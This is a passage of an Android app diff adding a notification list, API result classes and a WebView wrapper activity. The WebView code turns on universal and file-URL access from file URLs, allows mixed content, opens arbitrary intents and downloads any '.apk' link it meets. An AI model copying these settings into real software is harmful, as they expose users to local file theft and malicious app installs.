+        SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+
+        try {
+            Long timeStr = dateFormat.parse(dateString).getTime();
+
+            String name = (((System.currentTimeMillis()-timeStr)/1000/60)+1000)+"";
+
+            return name;
+        } catch (ParseException e) {
+           return "";
+        }
+
+    }
+
+
+    @Override
+    public int getItemCount() {
+        return listdata != null ? listdata.size() : 0;
+    }
+
+    public static class ViewHolder extends RecyclerView.ViewHolder {
+
+
+        private final TextView tvType;
+        private final TextView tvTime;
+        private final TextView tvContent;
+        private final TextView tvTitle;
+        private final TextView tvJumpLink;
+        private final ImageView ivType;
+        private final ImageView ivNotifyPull;
+        private final ImageView ivMsg;
+        private ConstraintLayout root;
+        private LinearLayout layoutMore;
+        private LinearLayout rootLy;
+        private TextView lookIv;
+        public ViewHolder(@NonNull View itemView) {
+            super(itemView);
+            root = itemView.findViewById(R.id.big_bg);
+//            tvType = itemView.findViewById(R.id.iv_readtype);
+            tvType = itemView.findViewById(R.id.tv_msg_type);
+            ivType = itemView.findViewById(R.id.iv_icon);
+            ivNotifyPull = itemView.findViewById(R.id.ic_notify_pull);
+            ivMsg = itemView.findViewById(R.id.iv_notifyimage);
+            tvContent = itemView.findViewById(R.id.iv_notifycontent);
+            tvTitle = itemView.findViewById(R.id.tv_msg_title);
+            tvTime = itemView.findViewById(R.id.tv_msg_time);
+            tvJumpLink = itemView.findViewById(R.id.iv_notifyjumpclick);
+            layoutMore = itemView.findViewById(R.id.layout_more);
+            lookIv = itemView.findViewById(R.id.look_iv);
+        }
+
+    }
+
+    public interface onItemClickPostionListener {
+        void item(int position);
+    }
+
+}

base_theme/src/main/java/com/web/base/NotifyListActivity.java

@@ -0,0 +1,126 @@
+package com.web.base;
+
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+import android.view.View;
+import android.view.WindowManager;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.appcompat.app.ActionBar;
+import androidx.appcompat.app.AppCompatActivity;
+import androidx.recyclerview.widget.LinearLayoutManager;
+import androidx.recyclerview.widget.RecyclerView;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import io.reactivex.android.schedulers.AndroidSchedulers;
+import io.reactivex.schedulers.Schedulers;
+
+/**
+ * 通知列表
+ */
+public class NotifyListActivity extends AppCompatActivity {
+
+    private RecyclerView recyclerView;
+    private LinearLayoutManager manager;
+    private MyNotifyListAdapter adapter;
+    private List<MessageInfo> listdata = new ArrayList<>();
+    private int userId = 2;
+    private int page = 1;
+    private boolean isNextPages = false;
+
+    private  MessageInfo messageInfoItem;
+
+
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        userId = MainActivity2.getInt(NotifyListActivity.this,"user_code",userId);
+        getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE);
+        super.onCreate(savedInstanceState);
+        View decor = getWindow().getDecorView();
+        getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED);
+        decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
+        ActionBar actionBar = getSupportActionBar();
+        if (actionBar != null) {
+            actionBar.hide();
+        }
+        setContentView(R.layout.activity_notifylist);
+        messageInfoItem = (MessageInfo) getIntent().getSerializableExtra("message");
+        findViewById(R.id.back_iv).setOnClickListener(view -> finish());
+        recyclerView = findViewById(R.id.recycler_nofity);
+        manager = new LinearLayoutManager(this);
+        recyclerView.setLayoutManager(manager);
+        recyclerView.addOnScrollListener(new RecyclerView.OnScrollListener() {
+
+            @Override
+            public void onScrolled(@NonNull RecyclerView recyclerView, int dx, int dy) {
+                int visibleCount = manager.getChildCount();
+                int totalCount = manager.getItemCount();
+                int firstvisibleCount = manager.findFirstVisibleItemPosition();
+                if (visibleCount > 0 && visibleCount + firstvisibleCount == totalCount) {  //滑动到底部
+                    if (!isNextPages) {
+//                        Toast.makeText(NotifyListActivity.this, getString(R.string.app_toastloading), Toast.LENGTH_SHORT).show();
+                        return;
+                    }
+                    page++;
+                    getNotifyList();
+                }
+//                super.onScrolled(recyclerView, dx, dy);
+            }
+        });
+        adapter = new MyNotifyListAdapter(NotifyListActivity.this, listdata,messageInfoItem);
+        recyclerView.setAdapter(adapter);
+        adapter.setOnItemClick(position -> {
+            try{
+                MessageInfo messageInfo = listdata.get(position);
+                Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(messageInfo.getJumpUrl()));
+                startActivity(intent);
+            }catch (Exception e){
+
+            }
+
+        });
+        getNotifyList();
+    }
+
+    public void getNotifyList() {
+        //通知列表
+        Api.getInstance().getNotifyList(userId, page, 10)
+                .subscribeOn(Schedulers.io())
+                .observeOn(AndroidSchedulers.mainThread())
+                .subscribe(new BaseObserver<Result<ResultDataInfo<MessageInfo>>>() {
+                    @Override
+                    public void onSuccess(Result<ResultDataInfo<MessageInfo>> o) {
+                        if(o.data!=null){
+                            isNextPages = o.data.isHasNextPage();
+                            if (page == 1) {
+                                listdata.clear();
+                            }
+                            listdata.addAll(o.data.getList());
+                            adapter.setListdata(listdata);
+
+                        }
+
+                    }
+
+                    @Override
+                    public void onError(int code, String msg) {
+                        LogUtils.i("获取的结果error" + msg);
+                        if (page > 1) {
+                            page--;
+                        }
+                    }
+
+                    @Override
+                    public void onError2(Result<ResultDataInfo<MessageInfo>> o) {
+                        LogUtils.i("获取的结果error");
+                        if (page > 1) {
+                            page--;
+                        }
+                    }
+                });
+    }
+}

base_theme/src/main/java/com/web/base/Result.java

@@ -0,0 +1,29 @@
+package com.web.base;
+
+
+import java.io.Serializable;
+
+/**
+ * created by wmm on 2020/9/8
+ */
+public class Result<T> implements Serializable {
+
+    public String error;
+    public int code;
+    public T data;
+    public String message;
+
+
+    public boolean isSuccessful() {
+        return code == 1;
+    }
+
+    @Override
+    public String toString() {
+        return "Result{" +
+                "message='" + error + '\'' +
+                ", code=" + code +
+                ", data=" + GsonUtils.beanToJSONString(data) +
+                '}';
+    }
+}

base_theme/src/main/java/com/web/base/ResultDataInfo.java

@@ -0,0 +1,45 @@
+package com.web.base;
+
+import java.io.Serializable;
+import java.util.List;
+
+public class ResultDataInfo<T> implements Serializable {
+
+    public List<T> list;
+    public int pages;
+    public int total;
+    public boolean hasNextPage;
+
+
+    public boolean isHasNextPage() {
+        return hasNextPage;
+    }
+
+    public void setHasNextPage(boolean hasNextPage) {
+        this.hasNextPage = hasNextPage;
+    }
+
+    public List<T> getList() {
+        return list;
+    }
+
+    public void setList(List<T> list) {
+        this.list = list;
+    }
+
+    public int getPages() {
+        return pages;
+    }
+
+    public void setPages(int pages) {
+        this.pages = pages;
+    }
+
+    public int getTotal() {
+        return total;
+    }
+
+    public void setTotal(int total) {
+        this.total = total;
+    }
+}

base_theme/src/main/java/com/web/base/StatusLayout.java

@@ -0,0 +1,44 @@
+package com.web.base;
+
+import android.content.Context;
+import android.util.AttributeSet;
+import android.view.ViewGroup;
+import android.widget.LinearLayout;
+
+import androidx.annotation.Nullable;
+
+/**
+ * Created by kiun_2007 on 2018/3/29.
+ */
+
+public class StatusLayout extends LinearLayout {
+    public StatusLayout(Context context) {
+        this(context, null);
+    }
+
+    public StatusLayout(Context context, @Nullable AttributeSet attrs) {
+        this(context, attrs, 0);
+    }
+
+    public StatusLayout(Context context, @Nullable AttributeSet attrs, int defStyleAttr) {
+        super(context, attrs, defStyleAttr);
+    }
+
+    private int getStatusBarHeight(Context context) {
+        int result = 0;
+        int resourceId = context.getResources().getIdentifier("status_bar_height", "dimen", "android");
+        if (resourceId > 0) {
+            result = context.getResources().getDimensionPixelSize(resourceId);
+        }
+        return result;
+    }
+
+    @Override
+    protected void onAttachedToWindow() {
+        ViewGroup.LayoutParams lp = this.getLayoutParams();
+        lp.width = -1;
+        lp.height = getStatusBarHeight(getContext());
+        this.setLayoutParams(lp);
+        super.onAttachedToWindow();
+    }
+}

base_theme/src/main/java/com/web/base/WebViewActivity.java

@@ -0,0 +1,391 @@
+package com.web.base;
+
+import android.content.Intent;
+import android.graphics.Bitmap;
+import android.net.Uri;
+import android.os.Build;
+import android.os.Bundle;
+import android.os.Message;
+import android.view.MotionEvent;
+import android.view.View;
+import android.view.WindowManager;
+import android.webkit.ValueCallback;
+import android.webkit.WebChromeClient;
+import android.webkit.WebResourceError;
+import android.webkit.WebResourceRequest;
+import android.webkit.WebSettings;
+import android.webkit.WebView;
+import android.webkit.WebViewClient;
+import android.widget.FrameLayout;
+import android.widget.ImageView;
+import android.widget.LinearLayout;
+import android.widget.ProgressBar;
+import android.widget.TextView;
+import android.widget.Toast;
+import androidx.annotation.Nullable;
+import androidx.annotation.RequiresApi;
+import androidx.appcompat.app.ActionBar;
+import androidx.appcompat.app.AppCompatActivity;
+import com.king.app.updater.AppUpdater;
+
+public class WebViewActivity extends AppCompatActivity {
+
+    private String url;
+    WebView webView;
+    TextView tvErrorMsg;
+    LinearLayout layoutError;
+    ImageView show_top_v;
+    private LinearLayout showTopLy;
+    private ProgressBar progressBar;
+    private View topVvvv;
+
+
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        getWindow().setNavigationBarColor(getColor(R.color.white));
+        getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE);
+
+        super.onCreate(savedInstanceState);
+        View decor = getWindow().getDecorView();
+        getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED);
+        decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
+        ActionBar actionBar = getSupportActionBar();
+        if (actionBar != null) {
+            actionBar.hide();
+        }
+        setContentView(R.layout.activity_main2);
+        findViewById(R.id.back_iv).setOnClickListener(view -> finish());
+        url = getIntent().getStringExtra("url");
+        initView();
+    }
+
+    private ValueCallback<Uri[]> mUploadCallbackForHighApi;
+
+    public void initView() {
+        topVvvv = (View) findViewById(R.id.top_vvvv);
+        webView = findViewById(R.id.webview);
+        show_top_v = findViewById(R.id.show_top_v);
+        showTopLy = findViewById(R.id.show_top_ly);
+        tvErrorMsg = findViewById(R.id.errormsg);
+        layoutError = findViewById(R.id.layoutError);
+        progressBar = (ProgressBar) findViewById(R.id.progressbar);
+        WebSettings settings = webView.getSettings();
+        settings.setDomStorageEnabled(true);
+        settings.setAppCacheEnabled(true);
+        settings.setCacheMode(WebSettings.LOAD_DEFAULT);
+        settings.setJavaScriptEnabled(true);
+        settings.setLoadWithOverviewMode(true);
+        // 设置允许访问文件数据
+        settings.setAllowFileAccess(true);
+        settings.setAllowContentAccess(true);
+        settings.setDatabaseEnabled(true);
+        settings.setSavePassword(false);
+        settings.setSaveFormData(false);
+        settings.setUseWideViewPort(true);
+        settings.setBuiltInZoomControls(true);
+        settings.setPluginState(WebSettings.PluginState.ON);
+        settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS);
+        webView.setFocusable(true);
+        webView.setFocusableInTouchMode(true);
+        webView.getSettings().setSupportMultipleWindows(true);
+        if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
+            webView.getSettings().setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW);
+        }
+        settings.setSupportZoom(false);
+        webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY);
+        webView.setHorizontalScrollBarEnabled(true);
+        webView.requestFocus();
+        settings.setJavaScriptCanOpenWindowsAutomatically(false);
+        // Android 4.1前默认允许，4.1后默认禁止
+        settings.setAllowFileAccessFromFileURLs(true);
+        // Android 4.1前默认允许，4.1后默认禁止
+        settings.setAllowUniversalAccessFromFileURLs(true);
+
+
+
+        webView.setWebChromeClient(new WebChromeClient() {
+            @Override
+            public boolean onCreateWindow(WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) {
+
+                WebView newWebView = new WebView(WebViewActivity.this);
+                topVvvv.setVisibility(View.VISIBLE);
+                webView.addView(newWebView);
+                WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj;
+                transport.setWebView(newWebView);
+                resultMsg.sendToTarget();
+
+                newWebView.setWebViewClient(new WebViewClient() {
+                    @Override
+                    public boolean shouldOverrideUrlLoading(WebView view, String url) {
+                        progressBar.setVisibility(View.GONE);
+                        webView.loadUrl(url);
+                        return true;
+                    }
+                });
+
+                return true;
+            }
+
+
+            @Override
+            public boolean onShowFileChooser(WebView webView, ValueCallback<Uri[]> filePathCallback, FileChooserParams fileChooserParams) {
+                LogUtils.i("数据接口：onShowFileChooser");
+                mUploadCallbackForHighApi = filePathCallback;
+                Intent intent = fileChooserParams.createIntent();
+                intent.addCategory(Intent.CATEGORY_OPENABLE);
+                startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER);
+                return true;
+            }
+
+            // For 3.0+
+            protected void openFileChooser(ValueCallback<Uri> uploadMsg, String acceptType) {
+                LogUtils.i("数据接口：openFileChooseracceptType");
+                openFilerChooser(uploadMsg);
+            }
+
+
+            private void openFilerChooser(ValueCallback<Uri> uploadMsg) {
+                LogUtils.i("数据接口：openFileChooser");
+                mUploadCallbackForLowApi = uploadMsg;
+                startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER);
+            }
+
+
+
+        });
+        webView.setWebViewClient(new WebViewClient() {
+
+
+            @Override
+            public void onPageFinished(WebView view, String url) {
+                super.onPageFinished(view, url);
+                showTopLy.setVisibility(View.GONE);
+                progressBar.setVisibility(View.GONE);
+                topVvvv.setVisibility(View.VISIBLE);
+
+            }
+
+            @Override
+            public void onPageStarted(WebView view, String url, Bitmap favicon) {
+                super.onPageStarted(view, url, favicon);
+                progressBar.setVisibility(View.VISIBLE);
+                topVvvv.setVisibility(View.VISIBLE);
+            }
+
+            @Override
+            public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) {
+                super.onReceivedError(view, request, error);
+                if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
+                    int errorCode = error.getErrorCode();
+                    String errorMessage = error.getDescription().toString();
+                    String currentUrl = request.getUrl().toString();
+                    LogUtils.d("onReceivedError2  url==" + url + "  errorCode ==" + errorCode);
+                    if ((errorCode == -2 || errorCode == -6) && currentUrl.contains(url)) {
+                        onShowErrorView(errorMessage);
+                    } else {
+                        onShowNetView();
+                    }
+                }
+                progressBar.setVisibility(View.GONE);
+            }
+
+            @Override
+            public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) {
+                super.onReceivedError(view, errorCode, description, failingUrl);
+                if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) {
+                    LogUtils.d("onReceivedError2  url==" + failingUrl + "  errorCode ==" + errorCode);
+                    if ((errorCode == -2 || errorCode == -6) && failingUrl.contains(url)) {
+                        onShowErrorView(description);
+                    } else {
+                        onShowNetView();
+                    }
+                }
+                progressBar.setVisibility(View.GONE);
+
+            }
+
+
+            @Override
+            public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
+
+                Uri uri;
+                if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
+                    uri = request.getUrl();
+                } else {
+                    uri = Uri.parse(request.toString());
+                }
+                String url1 = uri.toString();
+                if (url1.equals(url + "index") || url1.equals(url + "/index")) {
+                    topVvvv.setVisibility(View.GONE);
+                } else {
+                    progressBar.setVisibility(View.VISIBLE);
+                }
+
+                if (!(url1.startsWith("http") || url1.startsWith("https"))) {
+                    try {
+                        Intent intent = new Intent();
+                        intent.setAction(Intent.ACTION_VIEW);
+                        intent.setData(Uri.parse(url1));
+                        startActivity(intent);
+                        return true;
+                    } catch (Exception e) {
+                        e.printStackTrace();
+                    }
+                } else {
+
+                    if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) {
+                        return false;
+                    } else {
+                        if (url1.contains(".apk")) {  //下载
+                            Toast.makeText(WebViewActivity.this, "下载开始，请稍后...", Toast.LENGTH_SHORT).show();
+                            new AppUpdater(WebViewActivity.this, url1).start();
+                            return false;
+                        }
+                        //其它的该怎么处理就怎么处理
+                        webView.loadUrl(url1);
+                        return true;
+                    }
+
+                }
+                return false;
+            }
+
+
+            @Override
+            public boolean shouldOverrideUrlLoading(WebView view, String url1) {
+                if (url1.equals(url + "index") || url1.equals(url + "/index")) {
+                    topVvvv.setVisibility(View.GONE);
+                } else {
+                    progressBar.setVisibility(View.VISIBLE);
+                }
+
+                if (!(url1.startsWith("http") || url1.startsWith("https"))) {
+                    try {
+                        Intent intent = new Intent();
+                        intent.setAction(Intent.ACTION_VIEW);
+                        intent.setData(Uri.parse(url1));
+                        startActivity(intent);
+                        return true;
+                    } catch (Exception e) {
+                        e.printStackTrace();
+                    }
+                } else {
+
+                    if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) {
+                        return false;
+                    } else {
+                        if (url1.contains(".apk")) {  //下载
+                            new AppUpdater(WebViewActivity.this, url1).start();
+                            return false;
+                        }
+                        //其它的该怎么处理就怎么处理
+                        webView.loadUrl(url1);
+                        return false;
+                    }
+
+                }
+
+                return false;
+            }
+
+
+        });
+        webView.setOnGenericMotionListener(new View.OnGenericMotionListener() {
+            @Override
+            public boolean onGenericMotion(View view, MotionEvent motionEvent) {
+                return false;
+            }
+        });
+
+        if (url != null) {
+            webView.loadUrl(url);
+        }
+    }
+
+
+    @RequiresApi(api = Build.VERSION_CODES.Q)
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
+        super.onActivityResult(requestCode, resultCode, data);
+        switch (requestCode) {
+            case REQUEST_CODE_FILE_CHOOSER:
+                if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) {
+                    afterFileChooseGoing(resultCode, data);
+                }
+                break;
+
+
+        }
+    }
+
+
+    /**
+     * onActivityResult方法
+     */
+
+    private void afterFileChooseGoing(int resultCode, Intent data) {
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
+            if (mUploadCallbackForHighApi == null) {
+                return;
+            }
+            mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data));
+            mUploadCallbackForHighApi = null;
+        } else {
+            if (mUploadCallbackForLowApi == null) {
+                return;
+            }
+            Uri result = data == null ? null : data.getData();
+            mUploadCallbackForLowApi.onReceiveValue(result);
+            mUploadCallbackForLowApi = null;
+        }
+    }
+
+    private Intent getFilerChooserIntent() {
+        Intent intent = new Intent(Intent.ACTION_GET_CONTENT);
+        intent.addCategory(Intent.CATEGORY_OPENABLE);
+        return intent;
+    }
+
+
+    private static final int REQUEST_CODE_FILE_CHOOSER = 1;
+    private ValueCallback<Uri> mUploadCallbackForLowApi;
+    private boolean isNetError = false;
+
+    public void onShowErrorView(String errorMsg) { //网络不可用的情况
+        topVvvv.setVisibility(View.VISIBLE);
+        webView.setVisibility(View.GONE);
+        layoutError.setVisibility(View.VISIBLE);
+        tvErrorMsg.setText(errorMsg);
+        showTopLy.setVisibility(View.GONE);
+        isNetError = true;
+
+    }
+
+    public void onShowNetView() {
+        topVvvv.setVisibility(View.VISIBLE);
+        webView.setVisibility(View.VISIBLE);
+        layoutError.setVisibility(View.GONE);
+        showTopLy.setVisibility(View.GONE);
+        isNetError = false;
+    }
+
+
+    @Override
+    public void onBackPressed() {
+        if (webView.canGoBack()) {//当webview有多级能返回的时候
+            onShowNetView();
+            webView.goBack();
+        } else {//不能返回了
+            WebViewActivity.this.finish();
+        }
+    }
+
+    @Override
+    protected void onDestroy() {
+        if (webView != null) {
+            //销毁VebView
+            webView.destroy();
+        }
+        super.onDestroy();
+    }
+}

base_theme/src/main/res/drawable-anydpi/ic_action_back.xml

@@ -0,0 +1,11 @@
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="24dp"
+    android:height="24dp"
+    android:viewportWidth="24"
+    android:viewportHeight="24"
+    android:tint="#333333"
+    android:alpha="0.8">
+  <path
+      android:fillColor="@android:color/white"
+      android:pathData="M20,11H7.83l5.59,-5.59L12,4l-8,8 8,8 1.41,-1.41L7.83,13H20v-2z"/>
+</vector>

base_theme/src/main/res/drawable-v24/ic_launcher_foreground.xml

@@ -0,0 +1,30 @@
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:aapt="http://schemas.android.com/aapt"
+    android:width="108dp"
+    android:height="108dp"
+    android:viewportWidth="108"
+    android:viewportHeight="108">
+    <path android:pathData="M31,63.928c0,0 6.4,-11 12.1,-13.1c7.2,-2.6 26,-1.4 26,-1.4l38.1,38.1L107,108.928l-32,-1L31,63.928z">
+        <aapt:attr name="android:fillColor">
+            <gradient
+                android:endX="85.84757"
+                android:endY="92.4963"
+                android:startX="42.9492"
+                android:startY="49.59793"
+                android:type="linear">
+                <item
+                    android:color="#44000000"
+                    android:offset="0.0" />
+                <item
+                    android:color="#00000000"
+                    android:offset="1.0" />
+            </gradient>
+        </aapt:attr>
+    </path>
+    <path
+        android:fillColor="#FFFFFF"
+        android:fillType="nonZero"
+        android:pathData="M65.3,45.828l3.8,-6.6c0.2,-0.4 0.1,-0.9 -0.3,-1.1c-0.4,-0.2 -0.9,-0.1 -1.1,0.3l-3.9,6.7c-6.3,-2.8 -13.4,-2.8 -19.7,0l-3.9,-6.7c-0.2,-0.4 -0.7,-0.5 -1.1,-0.3C38.8,38.328 38.7,38.828 38.9,39.228l3.8,6.6C36.2,49.428 31.7,56.028 31,63.928h46C76.3,56.028 71.8,49.428 65.3,45.828zM43.4,57.328c-0.8,0 -1.5,-0.5 -1.8,-1.2c-0.3,-0.7 -0.1,-1.5 0.4,-2.1c0.5,-0.5 1.4,-0.7 2.1,-0.4c0.7,0.3 1.2,1 1.2,1.8C45.3,56.528 44.5,57.328 43.4,57.328L43.4,57.328zM64.6,57.328c-0.8,0 -1.5,-0.5 -1.8,-1.2s-0.1,-1.5 0.4,-2.1c0.5,-0.5 1.4,-0.7 2.1,-0.4c0.7,0.3 1.2,1 1.2,1.8C66.5,56.528 65.6,57.328 64.6,57.328L64.6,57.328z"
+        android:strokeWidth="1"
+        android:strokeColor="#00000000" />
+</vector>

base_theme/src/main/res/drawable/input_bg.xml

@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<ripple xmlns:android="http://schemas.android.com/apk/res/android"
+    android:color="@color/white">
+    <item android:id="@android:id/mask">
+        <shape>
+            <solid android:color="@android:color/transparent" />
+            <corners android:radius="23dp" />
+        </shape>
+    </item>
+    <!-- 默认显⽰效果-->
+    <item>
+        <shape android:shape="rectangle">
+
+            <solid android:color="@color/dialog_input_bg"/>
+            <corners
+                android:radius="3dp" />
+        </shape>
+    </item>
+</ripple>
+

base_theme/src/main/res/drawable/pass_word_bg1.xml

@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<animated-rotate
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:fromDegrees="0"
+    android:toDegrees="360"
+    android:pivotX="50%"
+    android:pivotY="50%"
+    >
+    <shape
+        android:shape="ring"
+        android:innerRadiusRatio="3"
+        android:thicknessRatio="8"
+        android:useLevel="false"
+        >
+        <gradient
+            android:type="sweep"
+            android:useLevel="false"
+            android:startColor="#ED9121"
+            android:centerColor="#FFD700"
+            android:endColor="#FFFFFF"
+            android:centerY="0.50" />
+    </shape>
+</animated-rotate>

base_theme/src/main/res/drawable/pass_word_bg2.xml

@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<animated-rotate
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:fromDegrees="0"
+    android:toDegrees="360"
+    android:pivotX="50%"
+    android:pivotY="50%"
+    >
+    <shape
+        android:shape="ring"
+        android:innerRadiusRatio="3"
+        android:thicknessRatio="8"
+        android:useLevel="false"
+        >
+        <gradient
+            android:type="sweep"
+            android:useLevel="false"
+            android:startColor="#000000"
+            android:centerColor="#888888"
+            android:endColor="#FFFFFF"
+            android:centerY="0.50" />
+    </shape>
+</animated-rotate>

base_theme/src/main/res/drawable/shape_btn_bg.xml

@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="utf-8"?>
+<shape xmlns:android="http://schemas.android.com/apk/res/android" android:shape="rectangle">
+    <corners android:radius="22dp" />
+    <solid android:color="@color/jisuanqi" />
+</shape>

base_theme/src/main/res/drawable/shape_dialog_bg3.xml

@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="utf-8"?>
+<shape xmlns:android="http://schemas.android.com/apk/res/android" android:shape="rectangle">
+    <corners android:radius="12dp" />
+    <solid android:color="@color/dialog_bg" />
+</shape>

base_theme/src/main/res/drawable/shape_notify_typebg.xml

@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="utf-8"?>
+<shape xmlns:android="http://schemas.android.com/apk/res/android" android:shape="rectangle">
+    <corners android:radius="4dp" />
+    <solid android:color="@color/style_color" />
+</shape>

base_theme/src/main/res/layout/activity_main2.xml

@@ -0,0 +1,413 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:fitsSystemWindows="false"
+    android:keepScreenOn="true"
+    android:orientation="vertical">
+
+    <com.web.base.StatusLayout
+        android:id="@+id/top_vvvv1"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:background="@color/white"
+        android:visibility="gone" />
+
+    <RelativeLayout
+        android:id="@+id/top_vvvv"
+        android:layout_width="match_parent"
+        android:layout_height="40dp"
+        android:layout_below="@id/top_vvvv1"
+        android:background="@color/white"
+        android:visibility="gone">
+
+        <ImageView
+            android:id="@+id/back_iv"
+            android:layout_width="40dp"
+            android:layout_height="40dp"
+            android:scaleType="centerInside"
+            android:src="@drawable/ic_action_back" />
+
+        <ImageView
+            android:layout_width="wrap_content"
+            android:layout_height="30dp"
+            android:layout_centerInParent="true"
+            android:src="@mipmap/app_logo" />
+
+
+    </RelativeLayout>
+
+    <!-- webview 全屏状态 start -->
+    <!--    <androidx.constraintlayout.widget.ConstraintLayout-->
+    <!--        android:layout_width="match_parent"-->
+    <!--        android:layout_height="match_parent"-->
+    <!--        android:layout_below="@id/top_vvvv">-->
+
+    <!--        <androidx.constraintlayout.widget.ConstraintLayout-->
+    <!--            android:id="@+id/layouttop_config"-->
+    <!--            android:layout_width="match_parent"-->
+    <!--            android:layout_height="wrap_content"-->
+    <!--            android:gravity="center_vertical"-->
+    <!--            android:visibility="gone"-->
+    <!--            app:layout_constraintTop_toTopOf="parent">-->
+
+    <!--            <ImageView-->
+    <!--                android:id="@+id/iv_topconfig"-->
+    <!--                android:layout_width="match_parent"-->
+    <!--                android:layout_height="wrap_content"-->
+    <!--                android:background="@color/color_red"-->
+    <!--                android:minHeight="80dp"-->
+    <!--                app:layout_constraintTop_toTopOf="parent" />-->
+
+    <!--            <LinearLayout-->
+    <!--                android:layout_width="match_parent"-->
+    <!--                android:layout_height="wrap_content"-->
+    <!--                android:orientation="horizontal"-->
+    <!--                android:layout_marginBottom="10dp"-->
+    <!--                app:layout_constraintBottom_toBottomOf="@+id/iv_topconfig">-->
+
+    <!--                <TextView-->
+    <!--                    android:id="@+id/home"-->
+    <!--                    android:layout_width="wrap_content"-->
+    <!--                    android:layout_height="wrap_content"-->
+    <!--                    android:gravity="center"-->
+    <!--                    android:paddingStart="5dp"-->
+    <!--                    android:paddingEnd="5dp"-->
+    <!--                    android:text="Home"-->
+    <!--                    android:textColor="@android:color/white"-->
+    <!--                    android:textSize="20sp"-->
+    <!--                    android:textStyle="bold" />-->
+
+    <!--                <TextView-->
+    <!--                    android:id="@+id/tv_other"-->
+    <!--                    android:layout_width="wrap_content"-->
+    <!--                    android:layout_height="wrap_content"-->
+    <!--                    android:layout_marginStart="10dp"-->
+    <!--                    android:gravity="center"-->
+    <!--                    android:paddingStart="5dp"-->
+    <!--                    android:paddingEnd="5dp"-->
+    <!--                    android:text="Miss AV"-->
+    <!--                    android:textColor="@android:color/white"-->
+    <!--                    android:textSize="20sp"-->
+    <!--                    android:textStyle="bold" />-->
+    <!--            </LinearLayout>-->
+    <!--        </androidx.constraintlayout.widget.ConstraintLayout>-->
+
+    <!--        <com.tencent.smtt.sdk.WebView-->
+    <!--            android:id="@+id/webview"-->
+    <!--            android:layout_width="match_parent"-->
+    <!--            android:layout_height="0dp"-->
+    <!--            app:layout_constraintBottom_toTopOf="@+id/bottom_v"-->
+    <!--            app:layout_constraintTop_toBottomOf="@+id/layouttop_config"-->
+    <!--            app:layout_goneMarginTop="40dp" />-->
+
+    <!--        <View-->
+    <!--            android:id="@+id/bottom_v"-->
+    <!--            android:layout_width="match_parent"-->
+    <!--            android:layout_height="0dp"-->
+    <!--            app:layout_constraintBottom_toBottomOf="parent" />-->
+
+    <!--    </androidx.constraintlayout.widget.ConstraintLayout>-->
+    <!-- webview 全屏状态 end -->
+    <WebView
+        android:id="@+id/webview"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:layout_below="@id/top_vvvv" />
+
+    <LinearLayout
+        android:id="@+id/layoutError"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_centerInParent="true"
+        android:orientation="vertical"
+        android:visibility="gone">
+
+        <ProgressBar
+            android:id="@+id/progress_error"
